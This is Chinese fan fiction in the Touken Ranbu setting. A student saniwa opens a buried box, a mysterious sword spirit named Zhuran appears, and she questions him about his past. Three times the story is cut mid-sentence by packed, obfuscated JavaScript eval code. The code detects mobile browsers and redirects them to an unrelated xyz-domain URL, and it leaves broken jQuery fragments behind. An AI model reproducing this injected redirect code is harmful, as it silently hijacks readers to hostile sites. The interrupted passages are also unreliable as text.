《这把剑真不是美强惨》 1. 七舅姥爷我捡到剑了 西历2205年,“历史修正主义”为了改变历史而开始攻击过去的时代。 为了讨伐逆军,“时之政府”与众多从古代刀剑中觉醒的付丧神们签订契约,将其切分为无数分灵,刀剑们通过被“审神者”以灵力锻刀而召唤到“本丸”中,觉醒并拥有战斗的能力,审神者与刀剑付丧神们在时政的指挥之下,回溯时空前往各个历史战场,与时间溯行军作战,守护历史。 如今数十年过去,时政的体系日益完善壮大,有了稳定的审神者招募流程和一批成熟的队伍,但战况却始终僵持不下。 C7418号本丸的清晨,阳光还带着几分露水的凉意。 庭院里不时传来今日田当番的短刀协差们打闹的声音,嬉笑声活泼又充满活力。 天守阁内,审神者桃音坐在矮桌前,有厚有薄摊开的卷宗几乎堆满了整张桌子,最面前的笔记本上写满了密密麻麻的考试复习笔记,和时之政府的任务报告还有本丸公文混在一起,显得有些凌乱。 桃音,本名桃濑灯里,20岁,主业基础,副业就不基础,目前是一位大学生兼审神者,代号“桃音”。高中毕业后,由桃濑家在时政当公务员的神秘的七舅姥爷牵桥搭线,在狐之助撺掇下接手了一座全新的本丸,和时之政府签订了五年的短期合同,目前任期已经过半,正在努力评级争取续约中。 自出生起,她就过着平淡但快乐的日子,哪怕是接手本丸成为审神者后需要同时兼顾课业和时政的工作,频繁地往返现世和本丸,也有七舅姥爷“贴心”地给她申请了便捷通道,俗称——走读。 “呜……又是工作汇报……”期末结课后短期内不再需要回学校,连夜赶回本丸处理积压的文书到深夜,又早起继续赶工,此刻的桃濑灯里,身上散发的怨念丝毫不逊于溯行军。 她有气无力地撑着脸颊,向身边人小声抱怨道:“咪酱……我的命好苦啊,结课论文、政府报告全都混在一起,做不完,这辈子都做不完了……”。 一直沉默跪坐在一旁的烛台切光忠适时地把一直端在手中的小盅递上,语气温和带着安抚:“嗨嗨…主殿辛苦了,来吃早餐吧,今天是歌仙殿专门开小灶做的桃胶炖奶,再放就要凉了哦。” 作为今天的轮值近侍,自从把早餐端来后,他已经在这陪着有一会儿了。 并非是虐待,只是天守阁的桌子实在不堪重负彻底无处可放。 被食物的香气诱惑着,桃濑从伏案中艰难起身,困倦地伸展了一下肩颈,正揉揉眼睛打算收拾桌子吃饭,就忽然听见走廊里传来一阵喧闹,伴随着一听就机动很高的轻快脚步声,天守阁的木门被“哐当”得拉开,有些刺眼的阳光洒落进来。 “主人!我们捡到东西啦——!” 领头的是小天狗今剑,后面跟着一群粟田口的小短刀,博多、前田、乱、平野、包丁,每个孩子都灰头土脸,但脸上洋溢着兴奋,像是刚从探险里带回了宝物。 桃濑一愣:“捡到……东西?” 这群小短刀不是去大阪城挖土了吗? 这已经是她第三次派队去挖大阪地下了,从第一年她唱着“那一年的博多~博多起来~”和一期一振结成革命友谊面朝黄土背朝天地捞弟弟,到第二年博多藤四郎带队当黄金矿工大战三天三夜带回了白山吉光和鬼丸国纲,今年再战已经颇有种荣归故轻车熟路的感觉了。 毕竟小判不嫌多,来财来财来。 大阪城除了人见人爱的小判箱还能捡到什么他们不知道的东西吗? 新机制?不知道啊时政没说啊。 短刀们像一群鸟雀一样哗啦一下散开,任劳任怨的好哥哥一期一振和偶遇短刀们回来就非要加入这场开宝箱游戏的鹤丸国永,一刃一边抬着一个灰扑扑的长方形木箱走进来轻放到地上。 作为付丧神,他们灵知十分敏感,能清楚地感应到箱子里没有什么危险的气息,这也才敢放心地把箱子抬进来带给审神者。 入目是一个长方形的木箱,看起来颇为破败,看不出原本颜色的黑漆漆表面厚厚地覆盖了一层大阪城的泥土,长度目测比太刀们本体要长,但宽又相对有限,也就一臂左右,,不过落地声音还算沉重,板材应该是比较厚实的上等木料。 “是在大阪城地底的墙里面挖出来的!厉害吧!”勤劳的挖地工包丁藤四郎激动地邀功。 “埋这么深的一定是好东西!”本丸头号财迷博多藤四郎也很兴奋。 “主公,让我们开始鉴宝吧?” 鹤丸国永是一振很显眼的刀,即使是内番服也是一身雪白,但此时他却丝毫不在乎这个刚挖出来还在往下簌簌落土灰的箱子会弄脏衣服,看起来兴致非常高涨。 鹤丸金黄色的眸子里亮晶晶的,那种迫不及待的光芒根本没有掩饰,他就这么好奇地围着箱子转圈,一会儿摸摸箱子一会儿闻嗅几下,然后理所当然被扑面的灰尘呛到咳嗽。 “看起来好老的样子,里面会不会装着宝藏啊?” 小短刀们对此也很好奇,但因为鹤丸国永吃灰在先,一期一振拦住了弟弟们,所以只有监护人不在的三条家大佬今剑和鹤丸蹲一起近距离研究这个箱子。 “我想要钱!很多很多钱!”博多藤四郎许出了虔诚的愿望。 “那我要宝石!亮闪闪的超漂亮!”乱藤四郎也高兴附和。 “哦?那会不会是失传的书籍呢,如果有医书就好了。”这是路过看到兄弟们都聚在审神者房间所以也走进来的药研藤四郎。 怎么连药研也加入奇怪的许愿,是因为昨晚讲的睡前故事有可以实现愿望的神灯吗。 相对他们来说完全是成熟稳重的一期一振静静地伫立在旁,无奈地想着。 虽然不知道箱子里是什么,但不可能不会是什么“阿拉箱神灯”的。 “万一是什么神秘道具,捡到之后就可以契约魔法少女或者获得大佬的传承什么的。” 而他们被一群刀刀们寄予厚望的英明神武审神者桃音,不但是个喜欢宅文化的大学生,还是那种在工作的时候会对任何诱惑说yes!yes!gogogo的人。 此时此刻,她也对此感到兴致勃勃,就差加入鹤丸开始二人转了。 烛台切光忠看在眼里,贴心地用手帕浸湿后把箱子上的灰简单擦了一下,退至一旁看着审神者高高兴兴用今剑递过来的本体在箱子边缘小心翼翼撬锁。 作为近视,除了要帮助主殿完成工作,照顾好主殿的心情也是十分重要的工作内容呢。 只不过,他想了一下,虽然这个时候说扫兴的话完全不帅气,还是有必要提醒道:“主殿,您现在和时政签的合同是排他性的劳务关系。” 所以是不可能再契约当魔法少女的。 在烛台切光忠说话的时候,桃濑灯里已经用小短刀今剑轻轻松松地把本来就摇摇欲坠的锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411466|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头整个撬了下来她迫不及待地打开了箱子—— 只有一方被红布严密包着的稍小号箱子映入眼帘,依旧细长。 看外面箱子的风化程度,这东西埋在大阪地下城应该很久了,但这段红绸却依旧闪着华美的缎光,可见其品质之可贵。 但除此之外箱子别无他物,实在是有些大材小用。 桃濑稍有些吃力地把箱子连着布一起从大箱里捞出来,立起来放进了鹤丸的怀里,然后在他的配合下,继续解着层层缠绕的红布,正三圈又反三圈,完全不带脑子的纯手工力气活像催眠曲一样,让人看着都有些疲惫,思绪逐渐开始放空。 “主公,我们好像在给木乃伊拆纱布哦。”鹤丸国永动作老实,想法就不老实。 “ 拆下来给你缠上如何。”桃濑灯里已经习惯性给他捧哏。 “好呀好呀!”搞事鹤无所畏惧。 一番努力后,两人合力将红布拆开,露出了箱子的本体—— 虽然看起来木质油润有光泽,还刻着精致的花鸟浮雕的纹路,但也依旧只是个箱子。 “哇——!这也太过度包装了!浪费是恶习!”天性活泼的粟田口小短刀们被哥哥拦着,只能在旁边看,参与度本来就不高,看到这跟大阪地下城一样没完没了的包装都有些失望,发出谴责的声音。 桃濑也有些累了,但她也做好了箱子继续套箱子的准备,一把扯掉红绸扔给鹤丸后,动作迅速地打开了新箱子聊胜于无的活扣—— “主公小心!!!” 就在这毫无防备的时候,随着箱盖的开启里面迫不及待地涌出的尖锐刺目红光。 直面强光被恍到差点致盲的桃濑灯里被离得近的鹤丸发挥超乎太刀的机动一把拉开后仰倒在地上。 箱子被脱手后彻底敞开,光芒大盛,一时间整个天守阁内间都被光刺到看不清楚。 “好像……看到了?是把剑……”作为直面冲击的第一人,桃濑有些恍惚地呢喃。 角膜被强光刺后,她眼前还是有些灼烧般的变色光斑在阻碍视线。 而就在此时,一只修长洁白如削葱般的手被递到眼前,桃濑顺势搭过手被拉着借力爬起来:“谢啦鹤丸。” “什么事主公?我的眼睛呜哇…….这可真是吓到鹤了。”稍低的地上传来鹤丸有点迷茫的声音。 不是鹤丸? 桃濑怔愣一下,动作迅猛用衣袖杂乱地揉着还在胀痛飘光斑的眼睛勉力聚焦去看眼前的人影。 那是一个高挑纤细的青年,身穿鲜红的短款英式仪仗军服,斜肩挎着绶带勾勒出修长却略显单薄的身形,颇长的白发被扎成高马尾散在身后,微微卷起的发梢在阳光下几乎透明,最漂亮的是他的眼睛,由深到浅的粉色。 同样渐变,如果说三日月宗近的眼睛是一弯清冷孤洁的深邃弦月,那他的就是已经开到荼蘼的即将飘零的残樱。 青年容姿旖丽,左手携着一把长剑,贴身将剑鞘放在身后,收回手后一直静立含笑,姿态从容中散发出不可忽视的威仪。 明明是与打刀付丧神相近的身高,站在那里却像被风托起般轻盈,他身后军服的小红裙后摆和图案繁复的白金绶带随着刚刚收手的动作微微晃动,左耳和眼睛同色的耳钉在折射下闪着让人依旧眼睛幻痛的光。 剑看起来很眼熟,更眼疼。 无疑是刚刚过度包装的那一把。 2. 七舅姥爷我被碰瓷了 “……” 过了好一会儿,天守阁内的光污染终于散尽,看清眼前景象的付丧神们也迅速进入警惕状态,机动高的小短刀们的手已经悄然按上剑鞘。 但是,沉默,沉默是今早的本丸。 这位来历不明的疑似付丧神的青年只是继续挺拔沉静地站着,收起笑容后,一言不发地用他那双漂亮的眼睛凝视着桃濑灯里。 桃濑努力地回望着他,想从中找到什么交谈的契机,但看来看去除了知道了粉色是怎么渐变的之外,青年的眼睛里什么情绪都看不出来。 看多了还觉得像失足跌落进了深水桃花潭一样有些溺水眩晕的感觉。 所以说最讨厌这种自带猜不透buff的眼睛了,难怪糟老头子三日月宗近成天装傻充愣把眼睛眯起来,不然交流起来真的压力山大啊。 当然,三日月总是眯着眼也可能是因为和风老生逃番之后心虚,不敢直视姬君的愤怒。 “诶多……扣你几哇?” 作为本丸的主心骨,桃濑硬着头皮打破这份沉默,蹩脚生硬的开场让她自己都觉得头皮发麻,并且逐渐有向窒息发展的趋势。 青年对这句话并没有什么特别的反应,只是看着很懵懂地微微歪头,像在观察环境的小动物般,继续保持着沉默。 配上他白发粉眼的外型,感觉上倒是很像兔子,但是直觉又能隐隐感觉到—— 这家伙,似乎没那么可爱。 看他穿着一身英式制服,难道真的听不懂日语? 说好的刀剑付丧神都是日本本土神呢?桃濑灯里开始有些紧张了。 怎么还有海外侨刀。时政你驴我。 期末英语总是低空飘过的大学生审神者内心已经泪流满面,但她还是换了种语言继续小心地试探。 “Hello?English?” 青年依旧没有回应,但眼里好像多了几分期待,像在鼓励她继续尝试一样。 “阿尼阿塞哟?” “ciao?” “Bonjour?”桃濑灯里眉头越来越紧蹙地,她破罐子破摔地一阵穷举,但都收效甚微, 而一旁的众多付丧神们面面相觑,看着他们的审神者和对方艰难地“沟通”,能做的只有暗暗给桃濑加油打气。 加油啊主殿! 气氛在发酵中越发微妙,但已经没有刚刚那么剑拔弩张。 直到听到法语,对面青年终于嘴角微扬,幅度微小地点头,还抬手轻轻甩了甩自己腰侧的白金绶带,像在示意“我懂你”一样。 “太好了!法语好像有用!”桃濑灯里简直喜极而泣,此刻她羞答答的玫瑰静悄悄地开。 但是她看番学会的只会这一句,于是马上又迅速枯萎了。 “在座的有谁会法语吗!快来跟他聊聊!”审神者对刀刀们投去了希冀的目光,于是乎收到了这些连法国在哪个洲都不知道的日本老爷爷们无数或低头赏地或仰头看天的回避。 哪怕是靠谱的大哥哥一期一振,此刻都愧疚但是坚定的别过了脸。 对不起,阿路基,实在是爱莫能助啊。 还好压切长谷部今天不在这里,他如果知道自己要因为不通外语残忍地拒绝最重要的主上大人,恐怕要么懊恼到压切自己谢罪,要么发奋图强去攻读语言学博士。 沉默,沉默继续是今早的本丸,一切的一切似乎都陷入了停滞当中。 “没关系,我也不会法语哦。” 僵持不下中,陌生的清亮嗓音打破死寂的空气。 众人纷纷抬眼朝声源看去——刚刚一直一言不发的青年眉眼弯弯地笑了起来,姿态自然松弛,丝毫没有自己是这莫名其妙凝重起来的氛围的罪魁祸首的自觉。 “欸!!!???” 后知后觉的桃濑灯里和付丧神们同时爆发出强烈的质疑,而意识到刚刚的事情把他也耍了进去的鹤丸国永,眼睛却悄悄亮了起来。 “你会日语为什么不早说啊!”性格向来风风火火的小天狗直接跳了出来。 “因为……我不知道需要做什么?”青年无害地歪了歪头,笑呵呵地解释道:“我以为姬君大人是想给我展示一下她精通多门语言呢,很厉害哦。” 嗓音软软的语气真挚的,净说些让人去死的话。 意识到自己刚刚干的事情到底有勉强多诡异的桃濑灯里绝望地蹲下,双手抱头,把头死死埋进膝间,她现在觉得自己浑身都臊得烧起来了。 什么审神者、什么时之政府、变成臊子面得了。 妈妈,人生是华夏陕西。 做人不如做一碗热腾腾的臊子。 “啊啊啊啊大将!!振作啊!”粟田口的小短刀们从一期一振身后一股脑跑出来,乱哄哄围住了地上那一团一蹶不振的审神者,试图通过七手八脚乱七八糟的摇晃把疑似已经灵魂出窍的桃濑灯里唤醒。 “所以,姬君大人原来是想跟我说话吗?需要我说些什么吗?” 果然不像兔子一样无害的、邪恶的白毛看着眼前被打击到好像要掉色的桃濑灯里,眨巴着眼睛也从善如流地凑了过去,他弯着腰态度诚恳地向短刀们中间的对方询问诉求。 最开始大家一起面对陌生刀剑付丧神的突袭显现的那种紧张气氛早已经荡然无存,被青年刚刚那一出也一起折腾了的心累太刀们也觉得此时提不起继续警戒的斗志了,一期一振索性放任小短刀们继续围着审神者。 “你是刀剑付丧神对吧?按理来说显现之后不该先做自我介绍吗?”知道自己必须要挑起大局的靠谱审神者桃濑灯里最终决定勇敢面对社死。 她迅速地调整好自己的状态,扒拉开短刀们的簇拥坚定地站了起来,目光灼灼直视着神秘的新付丧神。 白发青年所有所思地沉默片刻,似乎在措辞。 随后他很快地眨眨眼,在桃濑灯里紧盯着的注视下,干脆利落地抬臂揽胸,姿态温顺地恭下身行了相当隆重的宣誓礼,雪白的长马尾像花束一样在肩头自然垂落,挡住他的半侧脸: “如果这是姬君大人的诉求的话,那么,祀剑祝染,无往无前,从此为您而战。” 青年的声音清朗悦耳,像初春的风一样拂面而来,语气中的郑重不容忽视。 礼数周全,姿态端庄,而且鲜艳的红色礼服和肃穆的宣誓礼节无疑都很适合眼前的人,连天守阁的空气都有为这份庄严的承诺凝滞一瞬。 并不是每一位付丧神,在感受到审神者的灵力而显现后,都会将相似的承诺宣之于口。 付丧神虽然只是末位的神明,但也是与天地法则之间存在着感应的,被他们严肃对待亲口诉诸的誓言,是被见证着的有效的诅咒。 所以,虽然会有像压切长谷部那样的主控刀愿意第一时间就献上自己的忠诚,为主人“手刃家臣,火攻寺庙”。 但绝大多数的付丧神只是自我介绍,而将守护主人的心情藏在和刀铭一样深刻的地方。 甚至有些个性强烈或阅历丰富的付丧神,比如一些平安老刀,虽然来到了本丸,与审神者之间缔结了契约,看似服从安排,但其实内心并不真正认可他们,而是需要在漫长的陪伴和并肩作战中逐渐转变自己的态度。 更有甚者,当某些本丸的付丧神们遇到时政所谓的“渣审”,会因为过于痛苦而发生暗堕,哪怕拼上碎刀的可能性也要弑主。 而还有一些付丧神,因为对审神者的一些说不清道不明的情感,会谋划着将他们神隐。 所以青年这份宣誓的意义,不可谓不沉重。 桃濑灯里有些被震慑住了,但很快就理清楚了思绪。 虽然很感动,但对对方话语间全是疑点已经槽多无口。 不要自顾自把自己当成我的所有物啊! 桃濑感觉到自己眉心的青筋已经开始跳跃了,一种被麻烦碰瓷了的预感在心头涌现。 “这样可以吗?”也不等她继续反应,刚刚还在规规矩矩行礼的人就颇为自觉地抬头询问了,腰虽然还没直起来,但这幅探头探脑的样子已经让刚刚的严肃烟消云散。 白色高马尾的脑袋抬的实在太快了,看起来就像弹簧一样q弹。 感觉自己像被棉花打了一拳。 桃濑忍无可忍地伸手按了一把这人的脑袋,胸腔里那口气憋得几乎要炸开。 “完全不可以!”她没好气地说道。 “怎么这样!”这个出乎意料的举动让被按头的青年像被触发了机关一样开始嘟囔,他动作轻快地收起了动作直起身子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411467|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边揉自己被按脑袋的位置,一边继续他看似无害但让人棘手的弯眼笑,不但没有了刚刚端庄肃穆的气势,连姿态也迅速地散慢下来。 没等桃濑灯里发问,自称祝染的青年先自顾自地说起话来: “名字只是一个代号啦,如果姬君大人喜欢的话,那我也可以叫酸酸甜甜草莓冰淇凌蛋糕切哦。” 完全不是名字的问题。 桃濑灯里看着他完全偏移重点的样子,几乎要憋不住胸腔里郁闷的叹气。 “主殿……”一直在旁观的一期一振突然出声,话语间犹豫着欲言又止。 “我知道,一期,你先带短刀们出去。咪酱和鹤丸也出去,咪酱去帮我们泡壶茶,放门口就好。鹤丸最好是做完了今天的马当番,晚上我亲自去检查,如果发现有问题你就等着。” 只是一个眼神接触,桃濑灯里便不容置喙地下达指令遣散众人。 她的意思很明显,要跟这位疑点重重的祝染单独聊聊。 遵从审神者的命令是付丧神们灵魂深处的本能,尽管有所担忧,众付丧神们们也迅速地动作起来,一期一振有序组织,鹤丸国永苦大仇深。 “祝染是吧?请坐。”桃濑灯里深呼吸一口气,转身坐回到了刚刚伏案工作的矮桌前。 她腰杆挺直,表情严肃,属于执掌这座本丸的资深审神者的气势完全取代了刚刚的轻松和窘迫。 而青年也从善如流地在她对面跪坐下来,完全无视了旁边有烛台切光忠刚刚跪坐的软垫。 “我问你答,没问题吧?”桃濑灯里单刀直入,表现出前所未有的强硬姿态。 “当然。”对面感受到她认真的刃没有因此变得紧张,依旧眉眼弯弯对她笑。 “刀种?”桃濑灯里选手率先进攻。 “跟刚刚几位显然不一样的剑哦。”自称祝染的付丧神试图幽默一下,但桃濑选手miss了他,表情依旧严肃。 “刀派?或者铸造你的刀匠。”桃濑选手继续发问。 “不知道。”这次的回复简练了很多。 “那时期呢?”桃濑选手不依不饶,不放过一点有效信息。 “也不知道,但肯定不是年纪很大的老头吧。”在这个问题上,对方明显沉思了一瞬,但依旧持模糊否定回复。 “你没有过去的记忆?”桃濑灯里持续出击,越挫越勇试图做出小结。 “是呀,什么都不记得呢。”祝染却难得痛快地点了点头,毫不掩饰地认下了。 “好,那请问你怎么知道自己是祭祀剑的?”七舅姥爷曾经说得好,优秀的武士从来不放过任何一点破绽。 虽然桃濑完全不是武士。 但是作为本丸的审神者,她必须要对所有付丧神们负责,从来到这里,在狐之助的帮助下和初始刀山姥切国广缔结契约的第一天,到后来她每一次将灵力注入锻刀室,他们之间早就已经结下了此生不换的羁绊。 对桃濑来讲,刀剑付丧神们是战友,更绝对不能让任何隐患染指的家人。 一期一振刚刚欲言又止,显然是察觉到了对方的身份有问题。 作为最早来到本丸的一批刀,他细心思腻又认真能干,一直是轮值近侍的热门人选,对协助审神者工作得心应手,对时政实装刀剑的套路也有所涉猎。 而桃濑自己也上任已经接近三年,时政的刀帐和公文每天翻翻翻翻到厌倦,一有什么活动就是第一时间全力以赴,是个实打实的鹰派婶婶。 只需要一个眼神,他们就能明白彼此之间要传达什么——这位自称剑系付丧神的祝染,是把时政刀帐上完全不存在的刀剑。 尤其此刃看起来姿态轻松,回答起来也算对答如流,但刚刚这几句话里的信息可以说是无限趋近于无。 要来历来历不明,要身份身份成谜。 什么无往无前,完全就是黑户。 但是无论如何,哪怕可能性再渺小,她都必须要弄清楚对方的底细,否则她绝对不允许本丸里存在着一个不定时炸弹。 所以哪怕自我介绍的“祀剑”这一句话连破绽也算不上,很轻易就能被对方圆上,推说是什么直觉啊感觉啊之类的东西,她也必须要刨根问底地试一试。 万一能诈出来什么呢。 3. 七舅姥爷我做的对吗 “好,那请问你怎么知道自己是祭祀剑的?”桃濑灯里眼神冷冷地盯着对面人的眼睛,不放过任何一点波动,像是要从他眼底挖出所有的秘密。 “啊哈哈……这个啊……哈哈……” 桃濑本来对这句话能得到的信息都没抱什么太大希望,但出乎意料的是,听到这句话后,被她紧盯着的祝染居然反应意外激烈,他开始假装若无其事,偏过了头躲开了对视,相当刻意地开始干巴巴的假笑。 居然真的是破绽吗! 内心一级戒备,把对方当成高智商犯罪分子来斗智斗勇的桃濑灯里感觉自己又被棉花打了一拳。 还有这个打断话题的方式,好拙劣的欲盖弥彰。 “哈哈哈,快哉快哉。”桃濑灯里很配合地跟着他一起哈哈,声音自然流畅,比祝染还要豪迈狂气几分,但皮笑肉不笑: “装傻是没有用的,你跟那个臭老头比差远了。” 说的是三日月宗近。 这位作为天下五剑之一最美的一位,日本名刀中的名刀的付丧神,是一个饱经沧桑、历经风霜、偷懒耍滑、习以为常的家伙。 逃番去喝茶已经是家常便饭,有的时候还会顺手牵羊从田当番的农场摘两颗果子当作茶果。 被发现的时候就会把茶放下,顶着一张恃美行凶的脸,穿着那套老头保暖内番服,用深邃的眼睛看着你笑哈哈地打马虎,说些什么“毕竟老爷爷年龄也很大了开始健忘了啊”之类的谴责人良心的鬼话。 落寞老人的话虽然不真,但胜在足够理不直气也壮,再加上那张脸,对颜狗桃濑的冲击无疑是巨大的。 所以后来她都直接让总务番长压切长谷部去镇压了—— 不出面就不会被蛊惑。 相比之下,眼前这个实在太嫩了,心虚的时候连人的眼睛都不敢直视。 在三日月将军面前的话,完全是新兵蛋子。 “唉……” 被毫不留情拆穿的新兵蛋子祝染从桃濑开始跟着他假笑的时候,眼神就已经完成了从震惊到无措到沮丧的转变。 这种招数居然还有高手!本丸真是卧虎藏龙! 他收起有点僵硬的笑容,叹了一口气,肩膀和头都没精打采地耷拉下来率先示弱,整个刃都蔫蔫的,完全打碎了刚刚正襟危坐时看起来还有几分力气和手段的样子。 “姬君大人还真是见多识广啊,不要把我的行为想的那么坏呀……毕竟我并没有你预料的那么聪明有精力有心机……” 猛地深吸一口气,又缓缓地吐出后,他像是做出了重大决定般把双手都搭在了膝头,抬起头直视着桃濑灯里的眼睛,像个犯了错的小孩子一样终于语气诚恳地开始交代。 “好吧,其实还是有一些记忆的,嗯…….大概有二分之一是无关紧要的海外流浪,四分之一是记不太清了的不太好的过去,八分之一是比较敏感的内容…..四舍五入就都说失忆了呢。” 祝染像分蛋糕似的掰着手指一点一点捋着自己的事情。 这不就是几乎全都记得吗?! “那先就细说能说的0.125。”桃濑灯里的内心在怒吼,但面上依旧面无表情,她掐指一算,无情地打断他的诡辩算数法,但心头的阴霾却悄然散去了一些。 如果知道来历也能沟通的话,之后交给时政处理起来都会比较方便。 “算了,还是姬君大人问吧,这次我真的会知无不言的。既然装不了失忆的话,其他部分瞒着也没意义。” 哎呀,实在是演技拙劣呀。 真想看看姬君口中装傻很厉害的那位呢。 祝染有些挫败地想着,但很快就乐观了起来主动邀请桃濑灯里来盘问他的秘密。 “先从基础的信息来,刀派或者刀匠?”虽然被眼前的人拒不配合刚刚浪费了不少时间,但桃濑依旧保持着耐心从逻辑上出发。 “藤原氏所属刀工祝部国秀,为六条天皇陛下打造的祭祀刀。” 刚刚还在说自己是年轻刀的家伙,转头就吐出了几个需要翻日本史前半本的名字。 历史学得还算可以的桃濑咬牙切齿地开始一点点在脑中检索相关信息。 本丸中刀剑众多,年龄跨度也相当之大,其中最古老的就要数几位来自平安时期的,比如包括虽然今天不在场但是总是音貌犹存的三日月宗近在内三条家的几位,再比如总是吵吵闹闹但又要黏在一起的髭切膝丸两兄弟,还有总是自称其他付丧神们父亲的小乌丸。 其中,髭切膝丸是源氏的重宝,小乌丸来自平氏珍藏。 而在日本史当中,正是因为平源两家的战争,才会有后来的源赖朝建立镰仓幕府,宣告平安时代结束,幕府统治时期到来。 虽然知名度上不如源氏和平氏,但祝染所提到的藤原氏也不可小觑。 藤原氏在平安时期拥有着极其显赫的地位,既是最大的庄园领主,也是权倾朝野的外戚,鼎盛时期的藤原氏家住曾同时将四个女儿嫁给天皇或者皇子,张狂地写下“此世即吾世,如月满无缺”的自评,长期地通过摄关政治长期垄断最高的权力,说他们是朝廷中最有权势的贵族家族,甚至是“影子天皇”也不为过。 一直到平安时代末期,随着皇族“院政”试图夺回权利和源氏平氏等武士阶层的崛起,藤原氏才逐渐走向下坡路。 而这位祝染所提到的六条天皇,也极其特殊——他是日本历史上最年幼的天皇与上皇,七个月即位,三岁退位,直到死去的时候也才十三岁。 而六条天皇的母亲伊岐氏,她本身也确实是藤原氏的成员,属于藤原北家的旁支。 六条天皇的存在,是藤原氏血缘渗透皇室的证明,也是平安末期权力斗争的牺牲品。 捋清楚一切后,再看祝染这幅吊儿郎当觉得自己很年轻的样子,只觉得为老不尊让人看着怒火中烧。 “刚刚不是说年纪不大吗,这都追到十二世纪去了,老爷爷就要乖乖服老哈,如果你能留下来我会找人给你打个样的。”桃濑灯里没忍住翻了个白眼,抱胸数落道。 明明也是个平安时期的老头了,还以为自己是新新刀呢。 当然,打样只是一句空话,毕竟老来俏总比倚老卖老强。 没准对方觉得自己老当益壮的话,还能骗着多干点活呢。 “啊?原来很老吗……”完全出乎意料,这一句话居然给祝染造成了暴击——对方看起来更沮丧了,头软绵绵地趴在桌上把脸埋起来,头顶高马尾翘起的碎发耷拉下来,如果有耳朵一定也是垂下来的。 但他很快就直起身,不太好意思地挠挠头解释道:“可能是我对时间实在是不太敏感,因为是作为皇室用品被打造出来的,所以虽然没怎么派上过用场,但也需要被专门保管,之后好像是换了几次主人吧,祭祀的事情也不是天天都有,基本上一直都被私藏,没怎么出过门。” “再后来好像是遇到了战乱?乱七八糟的事情一大顿,等我再注意到的时候就已经到海外了。” 他雪白的长睫很羞赧地垂落,面颊泛红:“我在博物馆待了一段时间,旁边都是些木乃伊什么的……” 声音越来越小。 那还真怪不得他了,跟被风干的木乃伊相比,这把剑还真是水灵灵的小白菜。 看着对方有点娇羞的样子,桃濑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411468|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯里无奈扶额叹息。 这股突如其来的负罪感是怎么回事。 这就是她平日从不尊老爱幼的报应吗。 “抱歉啊……让我们继续下一个问题吧。”手指稍微用力地按揉了一下太阳穴理顺思路,桃濑灯里继续调查: “你刚刚说自己一直在海外,那为什么会出现在大阪城?” “还有之前说到有四分之一是不太好的事情,还有八分之一是敏感话题,这部分可以透露吗。” 她顿了顿,但还是解释道:“抱歉,我不是想故意戳你伤口什么的,只是我作为审神者必须对本丸负责。你是时政刀帐上不存在的刀剑,如果擅自把你留下,我可能会被追责。” 不是可能被追责,是一定。 时政虽然平时又压榨人又事很多,但立场毕竟是守护历史的正规行政机关。 而她,说好听了是审神者,但也是签了合同打工的,况且现在正在本丸评级和续约的敏感关头,如果这把剑真的有什么问题,她又擅自收留了他,那她板上钉钉也要跟着倒霉。 降级、资源下降,甚至有可能—— 被提前遣返。 本来有所缓和的空气随着她这句话的落下,再次陷入某种不安的凝滞。 时政刀帐上不存在的刀剑,按理来所她应该在对方出现的第一时间就立刻上报的,连交谈都不需要有。 但他们就这么顺水推舟地坐在一起开始聊天。 虽然只短短相处了一会儿,但桃濑灯里其实发自内心地觉得,祝染并不像是个危险分子,至少现在不像。 他确实隐瞒了很多,也有很多古怪,但那种能坦然站在光里的姿态,那双非常明亮没有阴霾的粉色眼睛,一直在闪着友好甚至是好奇、期待的光。 是的,很明显的期待。 从显现开始,他做了很多看似是不着边际的玩闹,虽然有些可能让人有些尴尬,但他一直在期待着对方的反应,并且真诚地给出他的回应。 就好像懵懂的稚子一样,对世界怀有无限的好奇心和善意。 桃濑灯里的胸口有些微微发紧。 但是有些事情不是她觉得,就能够决定的。 她面上依旧维持着审神者的理智和冷静,但在矮桌下她攥紧的拳头早已经被冷汗浸湿,她有些不忍地捏了捏拳,然后感受到了自己手心的一片濡湿。 桃濑灯里完全不是一个理性的人,相反,她非常敏感。 而她一直都很讨厌一个成语,叫做“自作多情”。 能够拥有丰沛的感情,并且勇敢地不怕受伤地表达出来,是一件多么明艳动人的事情,在现在总是保持冷漠和效率的社会环境中,是一种多么稀有的品质,简直就像钻石一样璀璨。 就像从小到大因为害怕失去,因为担心自己做的事情多余甚至错误,而一直没有什么朋友的,总是在茕茕独行的她,遇到了本丸的大家,成为他们不太完美的主君,并且接受着他们最纯粹的信任和爱戴。 